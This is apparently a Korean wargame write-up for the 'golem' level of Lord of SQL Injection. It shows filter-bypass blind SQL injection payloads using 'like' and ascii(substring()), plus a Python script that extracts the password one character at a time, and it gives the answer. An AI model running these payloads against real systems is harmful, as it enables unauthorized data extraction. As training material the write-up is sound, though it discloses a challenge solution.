Wargame/Lord of SQL Injection

<Lord of SQL Injection> golem

지우친구 웅이 2021. 11. 13. 16:26

golem

'prob', '_', '.', '()', 'or', 'and', 'substr(', '='을 필터링한다.

'pw'의 값을 알아내면 문제가 풀린다.

'='이 필터링되는 경우에는 'like'를 사용하여 우회할 수 있다.

 

참으로 ?pw=' || 1 like 1%23을 입력하면

"Hello {$result[id]}"를 출력한다.

 

거짓으로 ?pw=' || 1 like 2%23을 입력하면

아무것도 출력하지 않는다.

참과 거짓으로 구분할 수 있기 때문에 Blind SQL Injection 공격을 하면된다.

 

먼저 pw의 길이를 알아보면

?pw=' || length(pw) like 8%23을 입력하면

"Hello admin"을 출력하는걸로 봐서 pw의 길이는 8인 것 같다.

이제 한 글자씩 찾으면된다.

 

?pw=' || ascii(substring(pw,1,1)) like 55%23을 입력하면

"Hello admin"이 출력되는 걸로 봐서 pw의 첫 글자는 7이다.

이렇게 직접 구할 수도 있지만, 파이썬 코드를 통해 쉽게 찾을 수 있다.

 

import requests

pw = ''
baseurl = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
want_str = "<h2>Hello admin</h2>"

for i in range(1, 9):
    for j in range(33, 128):
        url = baseurl + "?pw=' || ascii(substring(pw,{},1)) like {}%23".format(i, j)
        cookies = {'PHPSESSID' : 'PHPSESSID의 값'}
        res = requests.get(url=url, cookies=cookies)

        if want_str in res.text:
            pw += chr(j)
            print("{} : {}".format(i, chr(j)))
            break
print("pw : ", pw)

pw의 값으로 '77d6290b'를 입력하면

문제가 풀리게 된다.